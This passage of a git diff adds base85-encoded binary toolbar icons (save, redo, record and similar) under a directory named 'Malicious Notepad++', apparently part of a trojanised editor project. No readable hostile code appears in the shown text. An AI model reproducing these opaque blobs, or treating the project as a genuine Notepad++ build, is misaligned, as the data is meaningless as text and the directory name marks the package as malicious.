zcDtR>cDp4hUDrvKrfFmt204yHhr@xot`njMTNs7}U(+;czu(jKdZjpy1znaUEeVS} z&m-)CI8=TZ23it$-}fnsB9WKMFL`55@`xAb0>1D2IexKVOr##PR z9{H-=?ejgps;ZeE$MI>tu4_>v$Y1h!FH*=+N{-1M@!ay$GztHeW1FYJH%&A9t2}&` z8qNkai+V@hzry3p!P~Yi_$nzO~X`ALexw0JB@4GvXR2??UI`H9QrvM5YL9jSoi zMAfRMYWZK5-Pr{K$%(n|EM;3LxJzy(v%Adu%wu>vh#b&QP9$o7{VMVsProxx7(W;X z!X)kXm*}>-9DI3}TY`MPyo7m@DAR_x9|qok6F_-@&)>HGBnM#OLr=_)Gjb{tTbQ zAK}Scuj9-30zQpT;&)Yts&(*fd<|d07x6j#75R>;s+pvkM|g#I@HW1MZ{RJw zg|FgE_&h#?PvJFQ<27F6HD2S{&>OGoiPv?{>nifPvRM&@cknj8g>T?3{GQ_@9ef*K z!&mS{d=9_o_>k9@I=+lA;M4ddeqVuX-NCo+5UDWHNGbaUrQxN={Et<@oqm4i67S{iEfNpFjB@-*Q6C_nMnIz2=b~ZAHsG z^!>^Ejy4Hrb6ObqlSQ}py(I=?HJgj?`{RUmb~K%Er}OznTu1H0uHwp@#OqgKz0TGh zc)?V;@9!V^*WnmALs$KG@z3<@4Q%HBjK@EAAz-RHu7RTeQZ9J^w!|!iDn&~fA_1|%NKBm6J7lTzBj^4+v>y9H4$H&V> zqSvMM1`FbznnWOuFMW5I=sHd(F*FO+Ohtz_j=O3y8uU7j(;b+&KMg!{{}T6>E6_9Z zUZA$)$_MnjP84@Nk8`)NJ_tN_H0*bx_;|V8+@Gt$sq)5rMZ&Bbjm&jp{d68GG7O^q zF9wuhD=ssWVX-jt!`{k$+5c4L2AC-Sh>zb%+@qK-1)GY@=hMLVCbSV%TurNWoAJjt SWHt@MK&c?$LW^eq$IHJbniuE6bJCXQnA{!TAHfFwrE>X8l=)RCU$f*>B7j$$jHdb$jHcgBO@b;6C)#E z$G(HsIP@cU$&dHm|1Ker+kUTGsMh)dSWwsh)xc%F(Wp!HT7(Zb~u_9>;vRi4QL& znGc`K2@BvSBqbTi0|ZHkASHQ-Fo_Tp5keAWF`|N$G2)z2WrztY6C`*74TY}JRHu&b}NRpL_qKwCKlh2Q`Hc?eop@h#% zS=Uvm^CgO+Akh4zYTC^UKUlAO!%!A~1J&Vio>%EiHw>vda6RI|N;OSG?p<}elJvj> sP5*eO$S`zWdaeRhH|s!}^SQm64e$EBo;)~tEyaV^YWMh99=ns~2fKy6X8-^I literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/redo_dis.ico b/Malicious Notepad++/src/icons/redo_dis.ico new file mode 100644 index 0000000000000000000000000000000000000000..2c3ad7238351116d9677b108438c4470c6084a00 GIT binary patch literal 2998 zcmeI!Jxm&59LMpW)x=Jut1cyJ&UBSs+Yy;ql%18tAjW>zu_;$xS_ZBoj~Stn1)2YMoabRr$ZZ$@PuOO{2VPl&KlTD@K;XIuD}Q zkh0rSdRz_&h#?kK--u-Oj=bFTC(d z%EQ<3C42#I<5T!${E`}4z|Z3?{0!d5H}NjMhOgiqyn`>|v-mVVfsf%0-rx=1;0@m3 zgQLN*&9Tm5b0qJ)k8k2#d<|d02eUiqB07ssqZ8;D^LzL@zJxE}ZF~y9j9!@@D;p+ zcko4g7N5o^@Uh?>hc|eGH+X|Lcy6e{4Q=zd)_Ghuk1Ls!e0&q{;%oQ{-ob|~A9?sX zzJxE}ZF~wJvV54=RT-bhXYg^ng%3-RYdm}%U&0sgWZIUX_xH8CyQ`g@9c^uG$#EQQY;34lENX3SP1$T#tE;O@ zr_)+lSy3X9(Bk5vVzHR!=H@gzJF7?}BLCXx>*nTb`JHO91;&-O$7rxuLQ40L?Koz< z*E#gYjb9y2w|F~-mb2qaKPQ literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/redo_off.ico b/Malicious Notepad++/src/icons/redo_off.ico new file mode 100644 index 0000000000000000000000000000000000000000..b8776b47b663cc61bb3b4dff991032e11377b434 GIT binary patch literal 2998 zcmeI!KS/{~En)S+EM*SIuLE_6-y*p5l2ESf!Qz~!JrmIkd6mjrHb6o*pEWy&IP zOD*J}gDy8oz>&Bx4j0Fv>T0^6Gxir_xqgfgqeI~jBOEAJ7f?4 z%cIT!d*F|j`}>^DPiZVoElFak&AzsudHcLS>?`{6L1ARn9T~MkquRiz&@*y;_PGsj zDAf<8>aJ9BrCeFz7$4v}_%`0fSFo!@5ue9r@eV$P=epf4zJ;&h3wQ@Rd9v`r3opFN z8sh_e2j9lK_zHd%U(`@}d=~HEQ}_r!!iV?)zK8emKHkIE@l|{YpTirx!5h568@$2W zI;0*_cd0J5Jn<2Jgb(opd=GE0?xQ_)9bHA2&^fL@#s~NgzKwVB75pl`h|lA*cn6=t zbKPzi-@@1M1-ye7el|N~ZHy1_9ef+_;w$)7d=Z}~n_05ykj)f6!jJGFet_@ceY}tN z@O69@U&80?I}UH~25;~NZ}8mEkQ+K=xprADm*py#r3gR5hxh@$hxhR@+ec%3fbZbj zco$#6$7~<28>)+M;cNH;-oeKuC^TbyfbZbjcrtA&`1uJ6O@treL;L{W!;_qt1cfA` zOSFg@Q6L;5EuW6?CQjoEdX!7 z*wUPU*lCu|g82FE35cKHnScl8C*Wp&dmh`d;Me?IaQCI=_FUi@Gun8w`EG0LuK;)V zJKg$ylhcDUZTl-`hVFIwnfLm$9q)mCU@dRUf2Yj;lk$Ust4qQqUJ#43amLsQ5t!@6 n&pa~;V;Vd=eZ4hb^@`WzbMu|^75!_*%_jn90^)=?Bksyid?Mp~ literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/redo_on.ico b/Malicious Notepad++/src/icons/redo_on.ico new file mode 100644 index 0000000000000000000000000000000000000000..db7c85ab1b6d02e47ad0ebcbdb9a9fad52f353cf GIT binary patch literal 2998 zcmeI!KTH~77{~D+>d=Ych)YSDBVD;2+Yy*pke!vp|=R2`?1w#kb1lQa9~eW!{Lyl9Wb+xjIlL>&34({|MH?U zz#4eg@^qcE_$lqJg2tUBv*#oqXZlN3K3fg7LOPn+3Azkj*SU#!v7OeuN+31AKt@@hyA< zU%|Wf9fvn~gEx4CH+a6#m@jn7?KI#{^LgN2IO0q`R)HM{zNxGvaiWI(wWalySn32GPB00%| z4fhRq5^m_X$igiY$w{F#+G3gL+=q&M6huWk<~yi(hk}$10rDh3sYwH@vj83`l8{-5 zG>%ZD5z-{4#;CFwd6u9cC8?C&Q*6r=KFO3qSSgfMfubs@C8~xBbw%n5d0nF*^^t_P z`MtmDpS!%?;{UmY_}4reXPr*x?DPbO)|fwizrX+SG;C@A_Fen>;o|d`i=VRb=G?e? zeBeCF6CplyjcfC2I2;V*x!o3`JGXAk$$)+!<+Bi$V}CLnx0xY(ddHZ!mJTjWA$pEE zG4I@4?VY24FYW%RW!vVI-^8O%Q~nvdPTkEV2@bMItM)NMt2R)s;vj z7KyB6=K^WFzhOJc@1FB1 z3lr=08i{L?8JQ#T=7_y7>csyh4$^=u7sv=(y2wHoITyK zgUz1~}smG&0e iNRs*fHjkxK<7St2UA{Jq-Sgi>nkP(iiaPwWCLmS~Y6as8ypz zj{;8`HEQ&#QKLrnp4_4TLLmn~-QD-Sw>&ieHF<+plP+K~sekF9cUW`|)_!Fs@#-Uz z^&^>MyO|^PmdGUj61&}wzCs?XkOjZ#B$U2JLG~mMnI+L0Ww4=duqQ<pa4SgpxweW6onlMT~5l zFq1q%nQiG?)MTHh%%n)+R~Z757X{+FKwa)pS0$>tL|Iq#3N>k3YBWuaebb;M4N3Vn z(qDOfga7p(P+Gn8PDi8B>F@}Lemr~rHlKfgHaeH8dNLSvKRum)zCHh`b*3c(}W{xxT)*c<;Vd Y6x;nrXNvOGwk*pu&8zX)&@UC`52jA#QUCw| literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/save_dis.ico b/Malicious Notepad++/src/icons/save_dis.ico new file mode 100644 index 0000000000000000000000000000000000000000..272535730d830b9b1605b7d84ccfa1f6d459518b GIT binary patch literal 2998 zcmeI!F-+rD9LMn=$4PX8t}w9#btOB{5i+qr_N+)O*|IbfVL^o7bax`F-9?{P!auE$N*$H@}zP;&;*( zkDHtRne^*-((1DG1LvF6kJOUhbCjCc*_Mr-J!=wj-fU(M968nX^)-(^u=Gb}{)}Sx zFZsj&+kd(Ptbu=Zn_uTFezxZOSGQ#8)j8|h|KzRn>-%fD-+oc(Oudn*6`D>4rv1LD z6tK>Hb?&9cl~g;IDs`!RsBnxQ;=A}ZzK*YAkEjFu4t^V7!ms0*x7WkB@F)0vdL=%|>v)GB z;Y0iY-^T~|0N=qk@HKn|U-sW|c*7gs@P;=$ALyPBbj9sD=XTY(U5AH~!;kPGet_@e z1AM{q(HK9(ckyj}9bd&4EFb0#)x)>&C-{AQ318Hp(8l;7zKd_;>9kex`3(xq;Yauo zKfw3#G^e0JA&ux!E$W2Yr%F^&gB~9r_3-eZySqEx-rnlw=0=y7mkNSF7Z(@mbUHda zJ5!_4(CO)^YPFhY;0(Cbye;U)6XA1{L{ZvQ#WBz6>ZMB z>10wQoQs_kc`is?9MAGako+FGIGN>d-=8#!Trz#h-^6J;`7_T=CydYDe?Ff2nJ1*V z`P8|mEQREZk7D=a$EFkHepPnfi@^_1G%Oz@=TA|jc RJ<7~2Q@oph*U$Wi^c8s$17ZLG literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/save_off.ico b/Malicious Notepad++/src/icons/save_off.ico new file mode 100644 index 0000000000000000000000000000000000000000..d2f4fe9b5092e4d79eac8f0ea8a19596550e407d GIT binary patch literal 2998 zcmeI!F-S9K9LMpWuP@k1yXurB($(y0N6nN)vu6zmk}bnElVmcG7aZjsN-4>dMdB75 z66oM`lVo^F?v)k-cNh?%<^A{j+?m$sU7=k%w0HiKOMajKb9YZ3qtc4rDVO_NZu|M2 zw9Rua=Uz!aekHB1O5bptqrRn9^qxnlfn97#_u^H9kmE)pdE${n4F&_AU10H#%-j*h z?%r|_|8M{48DI_ktK0HAXYsQ&-oN-rR$d&luH8@CIvh zP5BP%+*Nxl)vu+>g;cCbg_8U!euVGhTlgBjj6I?b@w@mPd>+4vXWU*7e~z!>5Abgghxk6egYV$m_&UCVFX9V$ z!yDf4hBv(7-9Bc&X1`#sv6o^W;U{<>Kg9R(ZuAbijjp3B=pwqn_*47{-^I7^HGCO= zgg?aZ;&%&tO@dMiXY*-_!gd-wlY3_f_#hc z6TFWf;`?|eCu4$qCZb23Q&sAK%2Qbr^ziVY`}=#{-QDT-_EtAHH@dpIQm50=<>jT? z?Y7R&&Q!10b#ii|N~NOX<6{+zMeXhFsZc0rdwW}3TU%ORUsv?2>HCi#|LNbUc{F2D zWo@44&1bVL;dxEZ6L~5KPn*p}{uYG41gFh#k-t7aX%L)-^XL3k9H+BC^3-%je{%li zc5<}PQn<#yL^Ngf6>^P2OlJTMEieD97f`bmS}Rqvm9R+{u@ zr!KdU8%P;BdCQC|$V>^|-0@%GrOfPU-|W+dS!2z~Q)baB#o63hf8#%--vPJ5vjqSE literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/save_on.ico b/Malicious Notepad++/src/icons/save_on.ico new file mode 100644 index 0000000000000000000000000000000000000000..79a8e55f03ae20a0640733b1c8ba1d77c8f657b4 GIT binary patch literal 2998 zcmeI!KWOV#6vy#jULK^A($ztrEDl}cJxNE$lb6K1S3?$WUg{~M4IVOvH$1!^4KqQDg{#mUsHSlKpBYQlVWsv{yN{ob$QoN=G+;q%D2W{{FXe}sU5SD)G>Id8YqH(oi_Xf)#8B`o=pnL8sm z+_&7z|KmU10rtSZIyUz?o1fACxb{f4*3Q}2?kj7bk7gsqzx<>qHVx*cPGo9~P357f z7_!e@^k!1)R;ph~m8MjxDq7$t_&&aiZ{lm%GvX9~gg?X=@dZ3}2LpTu-@upgMQrku zg%@6U;Z@ZFKf(9$U3?Q?!=K?#HPaFP5MRU>@G*XlkMLvs5Fg@0d=KBk*YOp632%7A z8{Y7SH@rJ$9Jd@-98HdD;$!?AAK}ONA>LIF(LHnvT}M~YCF(Em6MP@v#W(Ra{2Bff ze}q587x4u=bq51{2j9S#@kPAwZ@WX+7WfIikMH7}_!|BUe~Le%n}>9>NH+`k7(d5H z_%VKn5Ah+shi~EQ_zJ${e#hYrZ+OES-tb(|j0?Kuab5Aanmn#*Rf_R*e1sq4hxibm zvwgI{Pw;(w7vIF!@HyLux{(I>4!(ge&+`=jX8Q5dr+@l)Du@F%Ro?J@KVamf zec$ta<$)mJ@|OAc6@tPv@PbwT?E++{QwlHhZ_;V@Yd$j@Fh5;?Grg=#`K)~4`!Cc@ z7SGB*c>c>Wn>qg>VE(c|=6v$2@|k(+r;AUg1^@l^yYobF@L0~TlcsJi&lgrWtSHRzV@(-(Qpd@eJ`s&hym(F$f$b4ge zZw&ITKS_%NpK2S~WWIgPo9}I|zLuYwO|^ONt`zl?`DCZlH?{xF=VjCR`B|4YcLN!f z({Gt^1-V%g@9y}o@J7z;^~CJ+u33A>zG&NCwPT;PYi*r;k$!k3;=dpKw%j7Ni5+5> RI3dj9ZGzR@s=xCe(jUE?6Hx#F literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/saveall_dis.ico b/Malicious Notepad++/src/icons/saveall_dis.ico new file mode 100644 index 0000000000000000000000000000000000000000..31b5ff15d973518f2366e53b8ab5bc03754925cd GIT binary patch literal 2998 zcmeI!KWO7-9LDj-mxFf7bxoG@;&5xcC++BX@{)M>YRKZv%Lxh@ZSasW+)zr9CojR- z+zd8!NEc1P!(r><77Q{mgo8qV{l1d?FO8u$b!er$mh9*AzWV9ao5WH^uawPxBe(tb zN;=?}&ANBePhU&BJJLJOv$XGM8NKFJ^0137>AiU85pwQ%$$?i+)$8>*y1?QenYl9> zyZgw!{J;IDXMi>EuWp;`oW;-PyNis5QYzM@d`ZC=Kft%~O?(Ys#-7qn@JIMVd=9^dXWUK)-@sS#1$+)0 z|7PKZ7hZUkG{z6`ZG017!@aI%`~cs^H}N%m8GnjD!5=Z3hsoYC;H&roK8N2nL4l3&1AH6b#52=Y#=ks4fz9wE ze1PxcyLcvN%LD~XM2FU(RcQrUj<#)r9v>g|@bIAf`+MEp-RbuBR@c|p@_k=dS66Da zTDrKnP`zH)`T4mjm5R>J&QvTGb$ooRd_J#(g9GjF?`wB=SF=A%KYaM`#s8<~vni`- z%NDWCr_(JWiYAjN68TFY`aN9be*>gp$N;PU>xIPWbeT&Vh0I;w>6HHQ^GrIUa8CbZfHYqf;%>v`?&4wiDZT9CLdi|K@spI;-JcsjE!0hO zl7DhFC;76F9i!50xom98a1Z*vXDg{r_`P1 zlSLuR+}&R^cezdCXOrB>GB@(M%frb;t3o#OD4bd}(OMxJd1w|Ynm>iBLe_KAFk~{< z3t8o98f_Gk#LU0B2NXYuI8O^nV}4(G0`3h5m#2j+Vu^c-wdGF1BHnWM@UsNk;7ytkO literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/saveall_off.ico b/Malicious Notepad++/src/icons/saveall_off.ico new file mode 100644 index 0000000000000000000000000000000000000000..37b78b03d105304af3232217421794cd716b1467 GIT binary patch literal 2998 zcmeI!KWJ)a9LDj-n+xrf+cjCPi=k`WlXf&tE{VHqAQ0Rfyh0&3DHzBY?odk6$t9T0 zW>DymE@uiEE_!a-f^Z~4xKQY?-}n6SPa2_j>d>C!t4E*D`@X;Po@1hv(krFYU&(F1 zy^?l#O{d*E>Bldn%?;^mj?=VnX(_$tS*l@^E$W@Ts}XWst3@w7bEtm5&#Mb8e8|il z(b(Nb?&<&SKfMCn1OMu_dY^Oiv(;WNU6Rz&G5585ymX)U@B5nm{DZuysXHAK>@!yZ8)#3(vUSF1~?3#^>-EyztLghgBQnhxiV@i7(@e_(S{wevj4MWi>Ob z<`#a6AK^Xx0N=y6@ojtyU%{8~d3@IWjl&z>@P;?M;VI~zg08t-7hJ9~m#a{aruY%w z!w>L1d>g;!_R$zW#CPybd>LQFuep5~*HahYz#rpt_zZsC0(myZ5Ahv*6VFOp5&!Z6 zc{at5@E(4E@8MaTH4Egi5M5e>c1+9BGPHFI^!WIwhldB<-QDT-_EtAHH@dpIQoG&O z<>jSXt(MNt&Qz&XbaHZ{QmLe)qa)?>dF}7-E1S(~XJ<#-+uPdQ+|=|B)A#S+fA;^W z*>u9)v}UWa%_fsIA~>zrt5uP|1cKlFMgBKH>ieg`Qvc;b!gMmvrIkWvuJ2?*|8Rb3 zrI1;*`V^)~{;ZJmdi9CEjzs;R6>>hKe>6axFA8y|;c_>*?|-aD=buazounH-N{QY1 zx$)yd-7-h{$Er)C{z)OxMR0kThTx_C3`)l!n2#S9lJs}O27x^}K>uhe4(557`hJ{; z^EjB~uCE^`%1>1f!E)}-FPOR9>a2cJ$h^Oi&s=_9uWM1rY99C#tJcL-Ng*q_Z|18y zTP|cdC-r@~wOtgl$m29vDI|(ne+!t?U5F@;3yEXCuLSN*oX3SEvBWurTa?FBE#mo+ z%h#uF{J4;LkJW>DA*&xR-X(=BKKTbn_UWzJhcC=(8}_GC_DOp4LE5OfpU2VWUisy$ hH?+5(*}lQQ literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/saveall_on.ico b/Malicious Notepad++/src/icons/saveall_on.ico new file mode 100644 index 0000000000000000000000000000000000000000..66543c5084c039ca2cc5035add430f0301b28a32 GIT binary patch literal 2998 zcmeI!KWL&!9LDj-&B9&v?zV;(UK_);u}|(wV`Y=r+X`vyY*si(sbG;ZY;hciRyM(O zUJ8XPa?Oj7V6iCVu9OsE;oyGzo%f%*8{xLP;%?rIzWRJ-=9h7@tCZ6#6$)?V+Mlna z1D*>7_e%QZTgls#zT>_?|AC&xONRhm+%s&I*);s^LHzKO44Pw6N4Bm5!0h|lAhcR0j%@C|$!U&Ka# zS$N@v7hY8@@l*T&-^DlaHT)_5L~|YC5Aj8O9>2mb@F9MJAL0A>KE8)<;p_MczJxct z;SFzi!yDdRbFLe%ORgqYHS#O`0w3Zh_z~XC-beS)Ep#1SL6?|+iJ#&J_%6PQui;Pe zC-@`$A-;&uLQF3;+4}HYO%;Q)1 z1wO=2@FRR5-^cgxEqonc!I#{>ad^WU-tdMuJO#}u=!TE$l8>v&$5pLLEBpc<;wShK zzK`E=e6++*@dJDp-^ADOJB|7@9K0fN<;X!wIce=g3)%EqY`u)DHuCCPU z^>lG@p;oJ<^Ye4n>vf%-ovBi(==k_prBX=;2M5~U-HYh!{(mZ11)QcG z&8G#lm*XJtJm1$25aeg;{EHb#XEP>PkKZgLPP1IvDkK@p_-K7m!A2p0?>{q=>C^SM z3%U3FXO}|aVV@OpA22?iAjyGgp=^Z96I1l7SfQho) z{eEuye9t_$`wnd8mgdx=bs^dKG&kQ9OQnTuLQ?$2PA?rLzgLEO^ z6_T`j&zP05_gjKoGpA~S=EL?UC6$dlXM%^l68 zSMDRsOJL#2n=BguUg+3tfX?r5dBax_6yHjX zaQ-elf0sp^PX_{%4u}x+{r6Gh8 zk|AuM6(r(^4C;d@^&$5q@{@%L5|lds9n`Zh}yyQr%vMP*`rFP#p~s{!p4NC`*M0 zdMzSaT)%aZCS-b)H9bmU6kHYwZ2*e>A)Q&!+oH80&M~acGPvNR5U-F)i=3CjdY|3z zl&~x*mIHQc%!soNG~3ba@KQ@N&c%+j^raoode{qKGkRI;%A_2=oVAU$;i)y)89Oqr zrEKhkEIZZgE{V(gPwdoB_ACVcouwGds+w)<%S$YkZDr8u!XFH~4;_I_wukQ2)GMEw ztvyXM?mlzp;&zy}v*+dJ97tXYvyOLodsPmO#v`=2TIZ-yh|?=wj@QNBJE{uA!@%4~ zVH)-@4Qa00L}#_gSsjBlaafmt^}Db^f|?Z6?Pjh>n5rZ!1U%!pBVzLabs?w^!JF{? zh0-$GV*A)U@v3sfpzQBZJk(}t)H`dG;aJDV9KaKRrNlVJVBj<1ir) zP0GqI%G-vOe_&6-Ku%c3QK?3&HFR|i4-U@L|LS@g=EGER)VZsTcdE0noWFKn1w2jP zuz81ACX?y)dcsFOO**QQi8Yr*w;KAM+*RO3Six2XP*v=T9G<81fgdCii3r!~bcWuS z3#Czb3~ZNT`iDQf>Ar^N0Sf??o?bPFp^A^RLv7$dK`{6Wf`Wp?VzE>zZE9`*R(}95 zi}119iumd0DKZ2k0%faghF9#>fWS%2QzbJInu)H49QZk@5}4I H?NImypvUYo literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/saverecord_dis.ico b/Malicious Notepad++/src/icons/saverecord_dis.ico new file mode 100644 index 0000000000000000000000000000000000000000..e6fc91d768b26dead171e5534befa75662130ded GIT binary patch literal 3262 zcmcJPJ&xNj5JsuWO@MSkx^-pb7TLm;51>N6L~2Wba}ozu75E}j5%>TG(rdf)0jxax z!_E!}L7^097Q-F>y%~O_6+*_}avARS{apwjh(6&<{29-}N7@j+GWUONwOVa9o84~b z)BKoXexr}U%18lUrUiZ9|4cIq@l3_So=ztP48G!T|LM-==XnkjvTU4hg^e7=>W6$d z94?oO_;g9}SAKo0+on;X!7Sp73|xHRXgoGKp`y#4$2rk~d1hEH;%tNY+o_A$&@@X_4ou88R_NDqvOxFiVhFytcFc4t^tB z*?jOlU+{T+bQacH;GWO8j*wowubj}JpZv|&xg!a+7p_j!1!XTSt^Y$o;N$=RnJTGZ@c!35UMPM pFJPWuQS<}j;eCoe{m=Lw@2?@l7x)vt@2?r^FYs@D{|7PQh))0j literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/saverecord_off.ico b/Malicious Notepad++/src/icons/saverecord_off.ico new file mode 100644 index 0000000000000000000000000000000000000000..847e9a8e972f2e96e1ae4628930b27b93f79230a GIT binary patch literal 3262 zcmcJPu}<7T6h+6?79gdID3Dlfm5zcBfWp796+eMQu}!3<&lk9W6i^_MGN}+X6g0FT zDkxJ#3KdBEa_q}KX1&G?&NBF!H{?juMfHnR=hV*Z~et5t(Rz6msvSb{EBViR8y&LI(*GNN0P=*IW8$7F4H13%Gy z`B5tCBmXrrT`)+@@L5ukOrP>=WVg)+e}-SdyYZ>Buzm+V!=JA79quFlSaY%x;H-1zSm@uyvYxFmXF=3OC5j|p!7~3SH J`aR;i**|`^csc+8 literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/saverecord_on.ico b/Malicious Notepad++/src/icons/saverecord_on.ico new file mode 100644 index 0000000000000000000000000000000000000000..3556f501c4dc7c2ec758ef9e0c3eb1454a20c586 GIT binary patch literal 3262 zcmchXu};G<6h&VKln#-ogoN1Ikv$(khki?ECMKlv19Z>C%2qz43;YEVQajKA5H;7n z$%|8x;DmykXF0Kb-hJ0;L?ZmgV{z?15jn-^95F^r5Rsgr7rDXQAGb7{PN$M)ewvvv z;g`R$GM*XX1-M>rg)wFoc0opk$s31FR|OvrmG27a&vzVW_$sWWmQsJ3&9W6% zLaJ5Hp8hoR2aj(@&!0?Gn}vLmxj?O`_s6m54~EHdJ9vCYil!{&E1CM4VxLcyRsL|X zP9C=LldYmQOYV=eU9-^q3g3fcsQOQ?UWT{pWcfPqQuwv_`up+A6m@5ze0oBEI_U@B zrdVuPB1LMi{^%3FIZRQ$pUwUNUP~rW_2U*~_TlBJ|Yz4!HFCH@HTBv5}l znX}3#*@q)bi~o2W0-tTb3W7OH+|Q!)oWAG0ihriEu{;Uf#1Ex}0%$Lh)^zLN7=bVJ9% zcmAQs6yoy_OZNF7gYk+a%$Ep+Lrd6%fAeLxBu6^c`R}riCiM#q)3W;!E-qd fi5=GM#R&Hoh&jUSBtpc95n^t35!{avcgB1HXoIx7 literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/showPannel.bmp b/Malicious Notepad++/src/icons/showPannel.bmp new file mode 100644 index 0000000000000000000000000000000000000000..f0d57fcccfadb995fd5ab04940c0882d484de148 GIT binary patch literal 1334 zcmeIyy-(Xf7zXesEyOe;EwrTtS`bMARYgP!g(wjeq&SKS1O^K{c+Hs6qgRg}J!bXj zF{7nS9y5Bp)uYE7-RGQ^k3XRjuk`bK&z(QyljZJBYY|1Y7J%;@t^8HO(tM#bZ^coK zDYOlQj)B0jFi~6!QDKPbbc)y;(g-u3#)^%E;;{n}Q0O8KJcx;pEb?LaAw)dERS=;z zPS6YmI?6;qq^hUrl0nUgovvbbvdNvL@F)~&E#q3owG1Qb&X~!dA-Uv{l`xY>0r`TR zLXugAT&im&9I_G#n;de<5)vb_$t90M)l-Qv1r$+CvrIxzE;+}2@zNYVC0WjSc9|n3 zndit~yzIe$@C|6J!9X1!>vH4rA*?Rlmdl^EKE5jc9jjW!WZkcCZyc)un1AahKR3^R zY<(NdbK|Jd&@WDRwm%==L#vwCwSKR0vAMgqyLVS&HcyWF2m066O{ZhNR{8Frf7Uy% z@3-5`?|9ckH(%;| L3+i%ee*5+ZKj2MS literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/startrecord_dis.ico b/Malicious Notepad++/src/icons/startrecord_dis.ico new file mode 100644 index 0000000000000000000000000000000000000000..0feb7145144f169d8bc2b00f50182a6fe42ee008 GIT binary patch literal 3262 zcmeH{!41MN3`N~L5;w%LN5)_@CMauk2u5H9c3^|>gpp+>ZDYqj$Bg%EBPVs(w5@vp`oZ|q!(GQN_B^I)g; zq*)61pcFegX%9nDiZVX4U|*cLB}F|S0$&7t$9{#ADb}vP@o~T_{r@nUZo#Da)Y4l2 znWB76!F1C{>PO34Uyu|g?TL!NZ2bmN<{VicM+m7gf=mab?f%ob#J?}l5XXy=1~F9Q4+F7a%N+Vyun6o@VV|6n#hf?4rV zOSSsrm5J|983#SJkJOKpw`|bw;?>DWQvAC02Z%72$nuy%pTOS|bbeW-E&9ZDQX8-G U<09$t4=9jU$b)GAO;7VZ0hEcR0RR91 literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/startrecord_on.ico b/Malicious Notepad++/src/icons/startrecord_on.ico new file mode 100644 index 0000000000000000000000000000000000000000..dc3c51639883baaf9398b7ca845581f1c490b485 GIT binary patch literal 3262 zcmeH{!4ZNm5Jf+CXS_KcIeMo7tDz3tpaYAc7(0lcEVE`3h_KO%CTy4`f%n7D0?_bi zTljWA04HV__Llw1-r&qLaN}HUf9*i;Tw&zxbIy$g!L?O>#=sJPLSxq?Z2XzrjnMEz zsfvL=kvz8RoyIH#L=rasFizxtcm*#fiDEtp{36H?;gT;(>|KB5(}A$1{~yk#Td-(8 zYiY0ld_?#n!Hw4VNc~88%L`IMn~X%oZ(F}Ygt25Mvn@kymY1|gXPH6Laz0ObWpP5=M^ literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/stoprecord_dis.ico b/Malicious Notepad++/src/icons/stoprecord_dis.ico new file mode 100644 index 0000000000000000000000000000000000000000..7e5478b09ba32c523265a041f7258482ad9ada1c GIT binary patch literal 3262 zcmeH_!41MN3`KwMNZb&|92tYrn4qlDAvyvpumc-}CvpjiY7j{!5dN*JHkQ8KXG;TD z2zqGRNITvRL?DjDpgm9NM9%fs1TM|8@x>Ug4Wc{uH~4)aAA4TKzkJX?{w&pa9_yP_ zFMk@Fo<+I7{&OZuxqq5nnlJn_Jo6fSD3Pl#e^#_sul>PiN$vYzIM|;6T#*WxYEF4Yo-D literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/stoprecord_off.ico b/Malicious Notepad++/src/icons/stoprecord_off.ico new file mode 100644 index 0000000000000000000000000000000000000000..3116a3af6dd9eadb97f7c68dab0078bb533c3f1f GIT binary patch literal 3262 zcmZQzU<5)11qLu!!Nb5H24rafu>ue~05Kzj1dwE4XaLHMf)O18XD9~vgYW zK-Z0$k0<;FVff&WFEqc9;eMd`z(h4O%@`8_rKn{-(1tTJjgb-1I_jGL|BNvl0WBIe z9};(v_yvYPJaB*vnuHI~3M54B@CPPRbU>~212hL0pgjGfnSh^5M*hWbAe!u``Dg)x i#w8|v&{H8Pe1hiVN{6H3Lo@`?Q^yAe27X#%bo&6cXRDO} literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/stoprecord_on.ico b/Malicious Notepad++/src/icons/stoprecord_on.ico new file mode 100644 index 0000000000000000000000000000000000000000..c6278ba9d5f5a880c5b55b52e755e2e9d2c5695f GIT binary patch literal 3262 zcmeHG+YN&-3_SiT@rU}E&;GMOr^y^$gAF=NhG7HuC=#NkxQGO)RqdQn9@05EA3((s z0-kX{0S#vtW?){K70&zuH=cR?wE|Hj6SjOJk}|-%Ilm#`7wTj8OTA^s{mD;Lp-pc9 zl;ZD_wDAQ)xuX2BlL@Tl{A2IN{!;%*98QkVhb87Ht3NHej8gs~&syaBUoqIr9sjRQ js7{?<38I!;^jZ3F`_4!HH6Qx^k1C+O(F667sp~xe+{@yT literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/supp_off.ico b/Malicious Notepad++/src/icons/supp_off.ico new file mode 100644 index 0000000000000000000000000000000000000000..9b977e08428fa267758b26174315f62bf8928eb2 GIT binary patch literal 2238 zcmc)MKS(o47{~En@W8jy?geeMSxIYp^~#tkjiyfFy5PJHe=vztE`&D*}S%cKst|I5s!s%kQ70&$P1C zP3n)-jOe7)fAE*&l$mL(PLTV0J-KkEsa~(A-c3*OpT8-JO`V~s5t%A|Q@(2oLX%u= z-AJ_yseB?8s#30~XoMf&+xRBFiZ5XgsQdUG{5C$oui?qt>EIjq3O)Jal%pMD0&~`hxiEJ$9M5Adx&nKYv?k%fXLQB=kSI%yx|RRc*C=x8(!B1uj_=@RpoURi&Bgq;v;+?-^GXc1)q;b_yN9+ 